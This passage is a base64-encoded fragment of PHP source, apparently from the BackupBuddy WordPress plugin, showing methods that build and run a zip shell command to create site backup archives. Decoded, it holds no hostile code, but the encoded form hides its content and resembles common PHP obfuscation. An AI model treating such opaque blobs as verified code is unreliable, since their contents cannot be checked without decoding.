W4gaW5jbHVzaW9ucyBsaXN0CgkJICoJQHJldHVybgkJYm9vbAkJCQkJVHJ1ZSBpZiB0aGUgY3JlYXRpb24gd2FzIHN1Y2Nlc3NmdWwsIGZhbHNlIG90aGVyd2lzZQoJCSAqCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGNyZWF0ZV93aW5kb3dzKCAkemlwLCAkZGlyLCAkZXhjbHVkZXMsICR0ZW1wZGlyLCAkbGlzdG1ha2VyICkgewoJCQoJCQkvLyBUaGlzIHNob3VsZCBuZXZlciBiZSBjYWxsZWQgYnV0IGp1c3QgaW4gY2FzZSByZXR1cm4gZmFsc2Ugc2lsZW50bHkKCQkJLy9wYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdUaGUgJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICR0aGlzLT5nZXRfbWV0aG9kX3RhZygpIC4gX18oJyBtZXRob2QgaXMgbm90IGN1cnJlbnRseSBzdXBwb3J0ZWQgZm9yIGFyY2hpdmluZy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCXJldHVybiBmYWxzZTsKCgkJfQkJCQoJCQoJCS8qKgoJCSAqCWNyZWF0ZV9saW51eCgpCgkJICoJCgkJICoJQSBmdW5jdGlvbiB0aGF0IGNyZWF0ZXMgYW4gYXJjaGl2ZSBmaWxlIG9uIExpbnV4CgkJICoJQWx3YXlzIGNsZWFucyB1cCBhZnRlciBpdHNlbGYKCQkgKgoJCSAqCVRoZSAkZXhjbHVkZXMgd2lsbCBiZSBhIGxpc3Qgb3IgcmVsYXRpdmUgcGF0aCBleGNsdWRlcyBpZiB0aGUgJGxpc3RtYWtlciBvYmplY3QgaXMgTlVMTCBvdGVocndpc2UKCQkgKgl3aWxsIGJlIGFic29sdXRlIHBhdGggZXhjbHVkZXMgYW5kIHJlbGF0aXZlIHBhdGggZXhjbHVkZXMgY2FuIGJlIGhhZCBmcm9tIHRoZSAkbGlzdG1ha2VyIG9iamVjdAoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCSR6aXAJCQlGdWxsIHBhdGggJiBmaWxlbmFtZSBvZiBaSVAgQXJjaGl2ZSBmaWxlIHRvIGNyZWF0ZQoJCSAqCUBwYXJhbQkJc3RyaW5nCSRkaXIJCQlGdWxsIHBhdGggb2YgZGlyZWN0b3J5IHRvIGFkZCB0byBaSVAgQXJjaGl2ZSBmaWxlCgkJICoJQHBhcmFtZQkJYXJyYXkJJGV4Y2x1ZGVzCQlMaXN0IG9mIGVpdGhlciBhYnNvbHV0ZSBwYXRoIGV4Y2x1c2lvbnMgb3IgcmVsYXRpdmUgZXhjbHVzaW9ucwoJCSAqCUBwYXJhbQkJc3RyaW5nCSR0ZW1wZGlyCQlGdWxsIHBhdGggb2YgZGlyZWN0b3J5IGZvciB0ZW1wb3JhcnkgdXNhZ2UKCQkgKglAcGFyYW0JCW9iamVjdAkkbGlzdG1ha2VyCQlUaGUgb2JqZWN0IGZyb20gd2hpY2ggd2UgY2FuIGdldCBhbiBpbmNsdXNpb25zIGxpc3QKCQkgKglAcmV0dXJuCQlib29sCQkJCQlUcnVlIGlmIHRoZSBjcmVhdGlvbiB3YXMgc3VjY2Vzc2Z1bCwgZmFsc2Ugb3RoZXJ3aXNlCgkJICoKCQkgKi8KCQlwcm90ZWN0ZWQgZnVuY3Rpb24gY3JlYXRlX2xpbnV4KCAkemlwLCAkZGlyLCAkZXhjbHVkZXMsICR0ZW1wZGlyLCAkbGlzdG1ha2VyICkgewoJCQoJCQkkZXhpdGNvZGUgPSAwOwoJCQkkb3V0cHV0ID0gYXJyYXkoKTsKCQkJJHppcHBhdGggPSAnJzsKCQkJJGNvbW1hbmQgPSAnJzsKCQkJJHRlbXBfemlwID0gJyc7CgkJCSRleGNsdWRpbmdfYWRkaXRpb25hbCA9IGZhbHNlOwoJCQkkZXhjbHVkZV9jb3VudCA9IDA7CgkJCSRleGNsdXNpb25zID0gYXJyYXkoKTsKCQkJJGhhdmVfemlwX2Vycm9ycyA9IGZhbHNlOwoJCQkkemlwX2Vycm9yc19jb3VudCA9IDA7CgkJCSR6aXBfZXJyb3JzID0gYXJyYXkoKTsKCQkJJGhhdmVfemlwX3dhcm5pbmdzID0gZmFsc2U7CgkJCSR6aXBfd2FybmluZ3NfY291bnQgPSAwOwoJCQkkemlwX3dhcm5pbmdzID0gYXJyYXkoKTsKCQkJJGhhdmVfemlwX2FkZGl0aW9ucyA9IGZhbHNlOwoJCQkkemlwX2FkZGl0aW9uc19jb3VudCA9IDA7CgkJCSR6aXBfYWRkaXRpb25zID0gYXJyYXkoKTsKCQkJJGhhdmVfemlwX2RlYnVnID0gZmFsc2U7CgkJCSR6aXBfZGVidWdfY291bnQgPSAwOwoJCQkkemlwX2RlYnVnID0gYXJyYXkoKTsKCQkJJGhhdmVfemlwX290aGVyID0gZmFsc2U7CgkJCSR6aXBfb3RoZXJfY291bnQgPSAwOwoJCQkkemlwX290aGVyID0gYXJyYXkoKTsKCQkJJHppcF91c2luZ19sb2dfZmlsZSA9IGZhbHNlOwoJCQkkbG9nZmlsZV9uYW1lID0gJyc7CgkJCSR6aXBfaWdub3Jpbmdfc3ltbGlua3MgPSBmYWxzZTsKCQkKCQkJLy8gVGhlIGJhc2VkaXIgbXVzdCBoYXZlIGEgdHJhaWxpbmcgZGlyZWN0b3J5IHNlcGFyYXRvcgoJCQkkYmFzZWRpciA9ICggcnRyaW0oIHRyaW0oICRkaXIgKSwgRElSRUNUT1JZX1NFUEFSQVRPUiApICkgLiBESVJFQ1RPUllfU0VQQVJBVE9SOwoJCQkKCQkJaWYgKCBlbXB0eSggJHRlbXBkaXIgKSB8fCAhQGZpbGVfZXhpc3RzKCAkdGVtcGRpciApICkgewoJCQkKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1RlbXBvcmFyeSB3b3JraW5nIGRpcmVjdG9yeSBtdXN0IGJlIGF2YWlsYWJsZS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CQkJCQoJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCgkJCX0KCQkJCQkKCQkJLy8gVGVsbCB3aGljaCB6aXAgdmVyc2lvbiBpcyBiZWluZyB1c2VkCgkJCSR2ZXJzaW9uID0gJHRoaXMtPmdldF96aXBfdmVyc2lvbigpOwoJCQkKCQkJaWYgKCB0cnVlID09PSBpc19hcnJheSggJHZlcnNpb24gKSApIHsKCQkJCgkJCQkoICggMiA9PSAkdmVyc2lvblsgJ21ham9yJyBdICkgJiYgKCAwID09ICR2ZXJzaW9uWyAnbWlub3InIF0gKSApID8gJHZlcnNpb25bICdtaW5vcicgXSA9ICdYJyA6IHRydWUgOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXyggJ1VzaW5nIHppcCB2ZXJzaW9uOiAlMSRzLiUyJHMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHZlcnNpb25bICdtYWpvcicgXSwgJHZlcnNpb25bICdtaW5vcicgXSApICk7CgkJCQkKCQkJfSBlbHNlIHsKCQkJCgkJCQkkdmVyc2lvbiA9IGFycmF5KCAibWFqb3IiID0+ICJYIiwgIm1pbm9yIiA9PiAiWSIgKTsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oICdVc2luZyB6aXAgdmVyc2lvbjogJTEkcy4lMiRzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR2ZXJzaW9uWyAnbWFqb3InIF0sICR2ZXJzaW9uWyAnbWlub3InIF0gKSApOwoKCQkJfQoJCQkKCQkJLy8gR2V0IHRoZSBjb21tYW5kIHBhdGggZm9yIHRoZSB6aXAgY29tbWFuZCAtIHNob3VsZCByZXR1cm4gYSB0cmltbWVkIHN0cmluZwoJCQkkemlwcGF0aCA9ICR0aGlzLT5nZXRfY29tbWFuZF9wYXRoKCBzZWxmOjpDT01NQU5EX1pJUF9QQVRIICk7CgkJCQoJCQkvLyBEZXRlcm1pbmUgaWYgd2UgYXJlIHVzaW5nIGFuIGFic29sdXRlIHBhdGgKCQkJaWYgKCAhZW1wdHkoICR6aXBwYXRoICkgKSB7CgkJCQoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ1VzaW5nIGFic29sdXRlIHppcCBwYXRoOiAnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJHppcHBhdGggKTsKCQkJCQoJCQl9CgoJCQkvLyBBZGQgdGhlIHRyYWlsaW5nIHNsYXNoIGlmIHJlcXVpcmVkCgkJCSRjb21tYW5kID0gJHRoaXMtPnNsYXNoaWZ5KCAkemlwcGF0aCApIC4gJ3ppcCc7CQoKCQkJLy8gSGFyZGNvZGluZyBzb21lIGFkZGl0aW9uYWwgb3B0aW9ucyBmb3Igbm93CgkJCS8vJGNvbW1hbmQgLj0gJyAtcSAtcic7CgkJCS8vIE5vdGU6IG5vIGxvbmdlciB1c2luZyBxdWlldCBfYnV0XyBtYXkgdXNlIGl0IGlmIG91dHB1dCBpcyBiZWluZyBzZW50IHRvIGxvZyBmaWxlCgkJCSRjb21tYW5kIC49ICcgLXInOwoJCQkKCQkJLy8gQ2hlY2sgaWYgdGhlIHZlcnNpb24gb2YgemlwIGluIHVzZSBzdXBwb3J0cyBsb2cgZmlsZSAod2hpY2ggd2lsbCBoZWxwIHdpdGggbWVtb3J5IHVzYWdlIGZvciBsYXJnZSBzaXRlcykKCQkJaWYgKCAkdGhpcy0+Z2V0X3ppcF9zdXBwb3J0c19sb2dfZmlsZSgpICkgewoJCQkKCQkJCS8vIENob29zZSB0byB1c2UgbG9nIGZpbGUgc28gcXVpZXRlbiBzdGRvdXQgLSB3ZSdsbCBzZXQgdXAgdGhlIGxvZyBmaWxlIGxhdGVyCgkJCQkkY29tbWFuZCAuPSAnIC1xJzsKCQkJCSR6aXBfdXNpbmdfbG9nX2ZpbGUgPSB0cnVlOwoJCQkKCQkJfQoJCQkKCQkJLy8gQ2hlY2sgaWYgd2UgbmVlZCB0byB0dXJuIG9mZiBjb21wcmVzc2lvbiBieSBzZXR0aW5ncyAoZmFzdGVyIGJ1dCBsYXJnZXIgYmFja3VwKQoJCQlpZiAoIHRydWUgIT09ICR0aGlzLT5nZXRfY29tcHJlc3Npb24oKSApIHsKCQkJCgkJCQkkY29tbWFuZCAuPSAnIC0wJzsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1ppcCBhcmNoaXZlIGNyZWF0aW9uIGNvbXByZXNzaW9uIGRpc2FibGVkIGJhc2VkIG9uIHNldHRpbmdzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1ppcCBhcmNoaXZlIGNyZWF0aW9uIGNvbXByZXNzaW9uIGVuYWJsZWQgYmFzZWQgb24gc2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkKCQkJfQoJCQkKCQkJLy8gQ2hlY2sgaWYgaWdub3JpbmcgKG5vdCBmb2xsb3dpbmcpIHN5bWxpbmtzCgkJCWlmICggdHJ1ZSA9PT0gJHRoaXMtPmdldF9pZ25vcmVfc3ltbGlua3MoKSApIHsKCQkJCgkJCQkvLyBXYW50IHRvIG5vdCBmb2xsb3cgc3ltbGlua3Mgc28gc2V0IGNvbW1hbmQgb3B0aW9uIGFuZCBzZXQgZmxhZyBmb3IgbGF0ZXIgdXNlCgkJCQlpZiAoICR0aGlzLT5nZXRfb3NfdHlwZSgpICE9IHNlbGY6Ok9TX1RZUEVfV0lOICkgewoJCQkJCSRjb21tYW5kIC49ICcgLXknOwoJCQkJCSR6aXBfaWdub3Jpbmdfc3ltbGlua3MgPSB0cnVlOwoJCQkJfQoJCQkJCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgYXJjaGl2ZSBjcmVhdGlvbiBzeW1ib2xpYyBsaW5rcyB3aWxsIG5vdCBiZSBmb2xsb3dlZCBiYXNlZCBvbiBzZXR0aW5ncy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgoJCQl9IGVsc2UgewoJCQkKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1ppcCBhcmNoaXZlIGNyZWF0aW9uIHN5bWJvbGljIGxpbmtzIHdpbGwgYmUgZm9sbG93ZWQgYmFzZWQgb24gc2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoKCQkJfQoJCQkKCQkJLy8gQ2hlY2sgaWYgd2UgYXJlIGlnbm9yaW5nIHdhcm5pbmdzIC0gbWVhbmluZyBjYW4gc3RpbGwgZ2V0IGEgYmFja3VwIGV2ZW4KCQkJLy8gaWYsIGUuZy4sIHNvbWUgZmlsZXMgY2Fubm90IGJlIHJlYWQKCQkJaWYgKCB0cnVlID09PSAkdGhpcy0+Z2V0X2lnbm9yZV93YXJuaW5ncygpICkgewoJCQkKCQkJCS8vIE5vdGU6IHdhcm5pbmdzIGFyZSBiZWluZyBpZ25vcmVkIGJ1dCB3aWxsIHN0aWxsIGJlIGdhdGhlcmVkIGFuZCBsb2dnZWQKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1ppcCBhcmNoaXZlIGNyZWF0aW9uIHdhcm5pbmdzIHdpbGwgYmUgaWdub3JlZCBiYXNlZCBvbiBzZXR0aW5ncy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkKCQkJfSBlbHNlIHsKCQkJCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgYXJjaGl2ZSBjcmVhdGlvbiB3YXJuaW5ncyB3aWxsIG5vdCBiZSBpZ25vcmVkIGJhc2VkIG9uIHNldHRpbmdzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCgkJCX0KCQkJCQoJCQkvLyBEZWxldGUgYW55IGV4aXN0aW5nIHppcCBmaWxlIG9mIHNhbWUgbmFtZSAtIHJlYWxseSB0aGlzIHNob3VsZCBuZXZlciBoYXBwZW4KCQkJaWYgKCBAZmlsZV9leGlzdHMoICR6aXAgKSApIHsKCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdFeGlzdGluZyBaSVAgQXJjaGl2ZSBmaWxlIHdpbGwgYmUgcmVwbGFjZWQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJQHVubGluayggJHppcCApOwoKCQkJfQoJCQkJCQkKCQkJLy8gTm93IHdlJ2xsIHNldCB1cCB0aGUgbG9nZ2luZyB0byBmaWxlIGlmIHJlcXVpcmVkIC0gdXNlIGZ1bGwgbG9nZ2luZwoJCQkvLyBOb3RlOiB3ZSBhbHdheXMgdXNlIHRoaXMgZmlsZSBlaXRoZXIgZm9yIGNvbW1hbmQgbGluZSBsb2cgb3B0aW9uIG9yIGNhcHR1cmVkIG91dHB1dAoJCQkvLyBzbyBhbHdheXMgc2V0IGl0CgkJCSRsb2dmaWxlX25hbWUgPSAkdGVtcGRpciAuIHNlbGY6OlpJUF9MT0dfRklMRV9OQU1FOwoJCQlpZiAoIHRydWUgPT09ICR6aXBfdXNpbmdfbG9nX2ZpbGUgKSB7CgkJCQoJCQkJLy8gVXNpbmcgdGhlIGNvbW1hbmQgbGluZSBsb2dmaWxlIG9wdGlvbgoJCQkJJGNvbW1hbmQgLj0gIiAtbGYgJ3skbG9nZmlsZV9uYW1lfScgLWxpIjsKCQkJCQoJCQkJLy8gQWN0dWFsIGNvbW1hbmQgb3V0cHV0IHdpbGwgYmUgc2VudCB0byB0aGUgYml0LWJ1Y2tldCBpbiB0aGUgc2t5CgkJCQkvLyBUT0RPOiBpZiB3ZSB3YW50IHRvIGNhcHR1cmUgZGVidWcgb3V0cHV0IHdlJ2xsIG5lZWQgYSByZWFsIGZpbGUKCQkJCS8vIGlzIGl0IHNhZmUgdG8gdXNlIHRoZSBzYW1lIGZpbGVuYW1lIChwcm9iYWJseSBub3QpCgkJCQkkb3V0cHV0ID0gJy9kZXYvbnVsbCc7CgkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCS8vIE9sZCBzdHlsZWUgemlwIG5vdCBzdXBwb3J0aW5nIGxvZ2ZpbGUgc28gcmVkaXJlY3Qgb3V0cHV0IHRvIHRoZSBmaWxlIGluc3RlYWQKCQkJCSRvdXRwdXQgPSAkbG9nZmlsZV9uYW1lOwoJCQkKCQkJfQoJCQkJCQkKCQkJLy8gU2V0IHRlbXBvcmFyeSBkaXJlY3RvcnkgdG8gc3RvcmUgWklQIHdoaWxlIGl0J3MgYmVpbmcgZ2VuZXJhdGVkLgkJCQoJCQkkY29tbWFuZCAuPSAiIC1iICd7JHRlbXBkaXJ9JyI7CgoJCQkvLyBJZiB3YXJuaW5ncyBhcmUgYmVpbmcgaWdub3JlZCB3ZSBjYW4gdGVsbCB6aXAgdG8gY3JlYXRlIHRoZSB6aXAgYXJjaGl2ZSBpbiB0aGUgZmluYWwKCQkJLy8gbG9jYXRpb24gLSBvdGhlcndpc2Ugd2UgbXVzdCBwdXQgaXQgaW4gYSB0ZW1wb3JhcnkgbG9jYXRpb24gYW5kIG1vdmUgaXQgbGF0ZXIgb25seQoJCQkvLyBpZiB0aGVyZSBhcmUgbm8gd2FybmluZ3MuIFRoaXMgY29wZXMgd2l0aCB0aGUgY2FzZSB3aGVyZSAodGhpcykgY29udHJvbGxpbmcgc2NyaXB0CgkJCS8vIGdldHMgdGltZWQgb3V0IGJ5IHRoZSBzZXJ2ZXIgYW5kIGlmIHRoZSBmaWxlIHdlcmUgY3JlYXRlZCBpbiB0aGUgZmluYWwgbG9jYXRpb24gd2l0aAoJCQkvLyB3YXJuaW5ncyB0aGF0IHNob3VsZCBub3QgYmUgaWdub3JlZCB3ZSBjYW5ub3QgcHJldmVudCBpdCBiZWluZyBjcmVhdGVkLiBUaGUgLU1NIG9wdGlvbgoJCQkvLyBjb3VsZCBiZSB1c2VkIGJ1dCB0aGlzIHByZXZlbnRzIHVzIGNhdGNoaW5nIHN1Y2ggd2FybmluZ3MgYW5kIGJlaW5nIGFibGUgdG8gcmVwb3J0CgkJCS8vIHRoZW0gdG8gdGhlIHVzZXIgaW4gdGhlIGNhc2Ugd2hlcmUgdGhlIHNjcmlwdCBoYXNuJ3QgYmVlbiB0ZXJtaW5hdGVkLiBBZGRpdGlvbmFsbHkgdGhlCgkJCS8vIC1NTSBvcHRpb24gd291bGQgYmFpbCBvdXQgb24gdGhlIGZpcnN0IGVuY291bnRlcmVkIHByb2JsZW0gYW5kIHNvIGlmIHRoZXJlIHdlcmUgYSBmZXcKCQkJLy8gcHJvYmxlbXMgdGhleSB3b3VsZCBlYWNoIG5vdCBiZSBmb3VuZCB1bnRpbCB0aGUgY3VycmVudCBvbmUgaXMgZml4ZWQgYW5kIHRyeSBhZ2Fpbi4KCQkJaWYgKCB0cnVlID09PSAkdGhpcy0+Z2V0X2lnbm9yZV93YXJuaW5ncygpICkgewoJCQkKCQkJCSR0ZW1wX3ppcCA9ICR6aXA7CgkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCSR0ZW1wX3ppcCA9ICR0ZW1wZGlyIC4gYmFzZW5hbWUoICR6aXAgKTsKCQkJCQoJCQl9CQkKCgkJCSRjb21tYW5kIC49ICIgJ3skdGVtcF96aXB9JyAuIjsKCQkJCgkJCS8vIE5vdyB3b3JrIG91dCBleGNsdXNpb25zIGRlcGVuZGVudCBvbiB3aGF0IHdlIGhhdmUgYmVlbiBnaXZlbgoJCQlpZiAoIGlzX29iamVjdCggJGxpc3RtYWtlciApICYmICggZGVmaW5lZCggJ1VTRV9FWFBFUklNRU5UQUxfWklQQlVERFlfSU5DTFVTSU9OJyApICYmICggdHJ1ZSA9PT0gVVNFX0VYUEVSSU1FTlRBTF9aSVBCVUREWV9JTkNMVVNJT04gKSApICkgewoJCQkKCQkJCS8vIFdlJ3JlIGRvaW5nIGFuIGluY2x1c2lvbiBvcGVyYXRpb24sIGJ1dCBmaXJzdCB3ZSdsbCBqdXN0IHNob3cgdGhlIGV4Y2x1c2lvc24KCQkJCQoJCQkJLy8gRm9yIHppcCB3ZSBuZWVkIHJlbGF0aXZlIHJhdGhlciB0aGFuIGFic29sdXRlIGV4Y2x1c2lvbiBzcGF0aHMKCQkJCSRleGNsdXNpb25zID0gJGxpc3RtYWtlci0+Z2V0X3JlbGF0aXZlX2V4Y2x1ZGVzKCAkYmFzZWRpciApOwoJCQkJCgkJCQlpZiAoIGNvdW50KCAkZXhjbHVzaW9ucyApID4gMCApIHsKCQkJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ0NhbGN1bGF0aW5nIGRpcmVjdG9yaWVzIHRvIGV4Y2x1ZGUgZnJvbSBiYWNrdXAuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQoJCQkJCSRleGNsdWRpbmdfYWRkaXRpb25hbCA9IGZhbHNlOwoJCQkJCSRleGNsdWRlX2NvdW50ID0gMDsKCQkJCQlmb3JlYWNoICggJGV4Y2x1c2lvbnMgYXMgJGV4Y2x1ZGUgKSB7CgkJCQkJCgkJCQkJCWlmICggIXN0cnN0ciggJGV4Y2x1ZGUsICdiYWNrdXBidWRkeV9iYWNrdXBzJyApICkgeyAvLyBTZXQgdmFyaWFibGUgdG8gc2hvdyB3ZSBhcmUgZXhjbHVkaW5nIGFkZGl0aW9uYWwgZGlyZWN0b3JpZXMgYmVzaWRlcyBiYWNrdXAgZGlyLgoJCgkJCQkJCQkkZXhjbHVkaW5nX2FkZGl0aW9uYWwgPSB0cnVlOwoJCQkJCQkJCQoJCQkJCQl9CgkJCQkJCQkKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnRXhjbHVkaW5nJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICc6ICcgLiAkZXhjbHVkZSApOwoJCQkJCQkJCQkJCQkJCgkJCQkJCSRleGNsdWRlX2NvdW50Kys7CgkJCQkJCQkKCQkJCQl9CgkJCQkJCQkJCQkKCQkJCX0KCQkJCQoJCQkJLy8gR2V0IHRoZSBsaXN0IG9mIGluY2x1c2lvbnMgdG8gcHJvY2VzcwoJCQkJJGluY2x1c2lvbnMgPSAkbGlzdG1ha2VyLT5nZXRfdGVybWluYWxzKCk7CgkJCQkKCQkJCS8vIEZvciBlYWNoIGRpcmVjdG9yeSB3ZSBuZWVkIHRvIHB1dCB0aGUgIndpbGRjYXJkIiBvbiB0aGUgZW5kCgkJCQlmb3JlYWNoICggJGluY2x1c2lvbnMgYXMgJiRpbmNsdXNpb24gKSB7CgkJCQkKCQkJCQlpZiAoIGlzX2RpciggJGluY2x1c2lvbiApICkgewoJCQkJCQoJCQkJCQkkaW5jbHVzaW9uIC49IERJUkVDVE9SWV9TRVBBUkFUT1IgLiAiKiI7CgkJCQkJfQoJCQkJCgkJCQkJLy8gUmVtb3ZlIGRpcmVjdG9yeSBwYXRoIHByZWZpeCBleGNsdWRpbmcgbGVhZGluZyBzbGFzaCB0byBtYWtlIHJlbGF0aXZlIChuZWVkZWQgZm9yIHppcCkKCQkJCQkkaW5jbHVzaW9uID0gc3RyX3JlcGxhY2UoIHJ0cmltKCAkYmFzZWRpciwgRElSRUNUT1JZX1NFUEFSQVRPUiApLCAnJywgJGluY2x1c2lvbiApOwoJCQkJCQkJCQkKCQkJCX0KCQkJCQoJCQkJLy8gTm93IGNyZWF0ZSB0aGUgaW5jbHVzaW9ucyBmaWxlIGluIHRoZSB0ZW1wZGlyCgkJCQkKCQkJCS8vIEFuZCB1cGRhdGUgdGhlIGNvbW1hbmQgb3B0aW9ucwoJCQkJJGlmaWxlID0gJHRlbXBkaXIgLiBzZWxmOjpaSVBfSU5DTFVTSU9OU19GSUxFX05BTUU7CgkJCQlpZiAoIGZpbGVfZXhpc3RzKCAkaWZpbGUgKSApIHsKCQkJCQoJCQkJCUB1bmxpbmsoICRpZmlsZSApOwoJCQkJCgkJCQl9CgkJCQkKCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCAkaWZpbGUsIGltcGxvZGUoIFBIUF9FT0wsICRpbmNsdXNpb25zICkgLiBQSFBfRU9MIC4gUEhQX0VPTCApOwoJCQkJCgkJCQkkY29tbWFuZCAuPSAiIC1pQCIgLiAiJ3skaWZpbGV9JyI7CgkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCS8vIFdlJ3JlIGRvaW5nIGFuIGV4Y2x1c2lvbiBvcGVyYXRpb24KCQkJCgkJCQkvLyRjb21tYW5kIC49ICItaSAnKicgIjsgLy8gTm90IG5lZWRlZC4gWmlwIGRlZmF1bHRzIHRvIGRvaW5nIHRoaXMuIFJlbW92ZWQgSnVseSAxMCwgMjAxMiBmb3IgdjMuMC40MS4KCQkJCQoJCQkJLy8gU2luY2Ugd2UgaGFkIG5vICRsaXN0bWFrZXIgb2JqZWN0IG9yIG5vdCB1c2luZyBpdCBnZXQgdGhlIHN0YW5kYXJkIHJlbGF0aXZlIGV4Y2x1ZGVzIHRvIHByb2Nlc3MKCQkJCSRleGNsdXNpb25zID0gJGV4Y2x1ZGVzOwoJCQkJCgkJCQlpZiAoIGNvdW50KCAkZXhjbHVzaW9ucyApID4gMCApIHsKCQkJCQoJCQkJCS8vIEhhbmRsZSBleGNsdXNpb25zIGJ5IHBsYWNpbmcgdGhlbSBpbiBhbiBleGNsdXNpb24gdGV4dCBmaWxlLgoJCQkJCSRleGNsdXNpb25fZmlsZSA9ICR0ZW1wZGlyIC4gc2VsZjo6WklQX0VYQ0xVU0lPTlNfRklMRV9OQU1FOwoJCQkJCSR0aGlzLT5fcmVuZGVyX2V4Y2x1c2lvbnNfZmlsZSggJGV4Y2x1c2lvbl9maWxlLCAkZXhjbHVzaW9ucywgJGRpciApOwoJCQkJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oICdVc2luZyBleGNsdXNpb24gZmlsZSBgJTEkc2AnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJGV4Y2x1c2lvbl9maWxlICkgKTsKCQkJCQkkY29tbWFuZCAuPSAnIC14QCcgLiAiJ3skZXhjbHVzaW9uX2ZpbGV9JyI7CgkJCQkJCQkJCQkKCQkJCX0KCQkJCgkJCX0KCQkJCgkJCS8vIFJlbWVtYmVyIHRoZSBjdXJyZW50IGRpcmVjdG9yeSBhbmQgY2hhbmdlIHRvIHRoZSBkaXJlY3RvcnkgYmVpbmcgYWRkZWQgc28gdGhhdCAiLiIgaXMgdmFsaWQgaW4gY29tbWFuZAoJCQkkd29ya2luZ19kaXIgPSBnZXRjd2QoKTsKCQkJY2hkaXIoICRkaXIgKTsKCQkJCgkJCS8vIEV4ZWN1dGUgWklQIGNvbW1hbmQgLSB3ZSBkb24ndCBjYXJlIGEgYWJvdXQgV2luZG93cyBoZXJlIGJlY2F1c2UgdGhpcyBtZXRob2QgaXNuJ3Qgc3VwcG9ydGVkIHlldAoJCQkvLyBQcmVwZW5kICJleGVjIiBzbyB0aGF0IHNwYXduZWQgcHJvY2VzcyBiZWNvbWVzIHRoZSBhY3R1YWwgemlwIHByb2Nlc3MKCQkJJGNvbW1hbmQgPSAnZXhlYyAnIC4gJGNvbW1hbmQ7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJHRoaXMtPmdldF9tZXRob2RfdGFnKCkgLiBfXygnIGNvbW1hbmQgKExpbnV4KScsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnOiAnIC4gJGNvbW1hbmQgKTsKCQkJCgkJCS8vIFNldCBzdGRpbiB0byBiZSBhIHBpcGUgdGhhdCB3ZSdsbCBjbG9zZSBpbW1lZGlhdGVseSBhbnl3YXkKCQkJLy8gU2VuZCBzdGRvdXQgdG8gYSBmaWxlIG9yIGR1bXAgaXQgZGVwZW5kZW50IG9uIHRoZSB6aXAgdmVyc2lvbiAodGhlIGRlc3RpbmF0aW9uIGlzIHNldCBhYm92ZSkKCQkJLy8gU2VuZCBzdGRlcnIgdG8gd2hlcmV2ZXIgc3Rkb3V0IGlzIGdvaW5nIChvbiBwcmUtdjMgemlwIHdlIG5lZWQgc3RkZXJyIGZvciB3YXJuaW5ncykKCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoCgkJCQkwID0+IGFycmF5KCAicGlwZSIsICJyIiApLAoJCQkJMSA9PiBhcnJheSggImZpbGUiLCAkb3V0cHV0LCAidyIgKSwKCQkJCTIgPT4gYXJyYXkoICJmaWxlIiwgJG91dHB1dCwgInciICkKCQkJKTsKCQkJCgkJCSRwcm9jZXNzID0gcHJvY19vcGVuKCAkY29tbWFuZCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMgKTsKCQkJCgkJCWlmICggaXNfcmVzb3VyY2UoICRwcm9jZXNzICkgKSB7CgkJCQoJCQkJZmNsb3NlKCAkcGlwZXN